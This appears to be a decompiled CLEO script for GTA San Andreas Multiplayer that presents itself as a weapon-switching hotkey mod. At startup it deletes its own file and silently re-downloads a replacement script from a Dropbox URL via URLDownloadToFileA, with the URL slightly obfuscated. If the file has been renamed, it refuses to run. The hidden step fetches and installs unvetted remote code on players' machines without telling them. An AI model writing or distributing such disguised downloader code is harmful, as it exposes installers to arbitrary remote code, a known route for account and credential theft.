// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013 {$CLEO .cs} //-------------MAIN--------------- thread "Chag" wait 2000 if not filedef "CLEO\guns.cs" else_jump @Chag_258 msg "{FFF000}[Guns] {ee4000}Вы переименовали скрипт." -1 msg "{FFF000}[Guns] {ee4000}Вы переименовали скрипт." -1 msg "{FFF000}[Guns] {ee4000}Вы переименовали скрипт." -1 msg "{FFF000}[Guns] {ee4000}Вы переименовали скрипт." -1 theend :Chag_258 filedel "Cleo\guns.cs" alloc 1@ 128 alloc 2@ 128 format 1@ "https:%c%cwww.dropbox.com/s/u0qc4209pasx35i/guns.cs?dl=1" 47 47 format 2@ "Cleo\guns.cs" call @Chag_668 2 2@ 1@ 3@ :Chag_397 wait 0 filedef "Cleo\guns.cs" else_jump @Chag_397 free 1@ free 2@ :Chag_434 wait 0 if and not SAMP.ChatInputOpened not SAMP.IsDialogActive(-1) else_jump @Chag_661 if key 49 else_jump @Chag_519 if and not curweap $PLAYER_ACTOR 30 not curweap $PLAYER_ACTOR 31 else_jump @Chag_519 04B8: get_weapon_data_from_actor $PLAYER_ACTOR slot 6 weapon 1@ ammo 2@ model 3@ 01B9: set_actor $PLAYER_ACTOR armed_weapon_to 1@ :Chag_519 if key 50 else_jump @Chag_590 if and not curweap $PLAYER_ACTOR 22 not curweap $PLAYER_ACTOR 23 not curweap $PLAYER_ACTOR 24 else_jump @Chag_590 04B8: get_weapon_data_from_actor $PLAYER_ACTOR slot 3 weapon 1@ ammo 2@ model 3@ 01B9: set_actor $PLAYER_ACTOR armed_weapon_to 1@ :Chag_590 if key 51 else_jump @Chag_661 if and not curweap $PLAYER_ACTOR 25 not curweap $PLAYER_ACTOR 26 not curweap $PLAYER_ACTOR 27 else_jump @Chag_661 04B8: get_weapon_data_from_actor $PLAYER_ACTOR slot 4 weapon 1@ ammo 2@ model 3@ 01B9: set_actor $PLAYER_ACTOR armed_weapon_to 1@ :Chag_661 jump @Chag_434 :Chag_668 0AA2: 10@ = load_library "Urlmon.dll" // IF and SET 0AA4: 11@ = get_proc_address "URLDownloadToFileA" library 10@ // IF and SET 0AA7: call_function 11@ num_params 5 pop 0 0 0 0@ 1@ 0 12@ ret 1 12@